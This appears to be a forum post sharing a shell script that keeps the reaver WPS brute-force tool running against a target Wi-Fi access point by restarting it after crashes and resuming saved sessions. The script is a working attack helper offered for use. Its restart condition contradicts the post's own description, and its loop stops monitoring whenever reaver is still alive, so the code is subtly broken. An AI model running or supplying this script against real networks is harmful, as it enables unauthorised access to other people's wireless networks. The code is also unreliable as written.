When using reaver I have run into a segmentation fault bug which crashes reaver.
I put a script together to restart reaver if it has not yet recovered a PIN.
Code:
#!/bin/sh
trap 'cleanup' 1 2 15
display_help() {
echo "
Usage: $0 [options]
OPTIONS:
-b BSSID
-c Target AP channel
-i Monitor Interface
"
}
cleanup() {
killall reaver
exit 0
}
while getopts "b:c:i:" opt; do
case $opt in
b ) bssid=$OPTARG >&2 ;;
c ) channel=$OPTARG >&2 ;;
i ) interface=$OPTARG >&2 ;;
\?) display_help >&2 ; exit 1 ;;
esac
done
if [ "$#" -eq "0" ] || [ -z "$bssid" ] || [ -z "$channel" ] || [ -z "$interface" ]; then
display_help >&2
exit 1
fi
command=$(ifconfig -a | grep $interface | awk '{print $1}')
if [ "$command" != "$interface" ]
then
echo "interface not found"
exit 0
fi
ifconfig $interface up
reaver -i $interface -c $channel -b $bssid -vv -o /tmp/reaver.log -D
while :
do
sleep 60
if [ -z "$(pidof reaver)" ]
then
command=$(tail /tmp/reaver.log | grep "WPS PIN")
if [ -n "$command" ]
then
session=$(echo $bssid | sed -e 's/://g')
reaver -i $interface -c $channel -b $bssid -vv -s /usr/local/etc/reaver/$session.wpc -o /tmp/reaver.log -D
fi
else
break
fi
done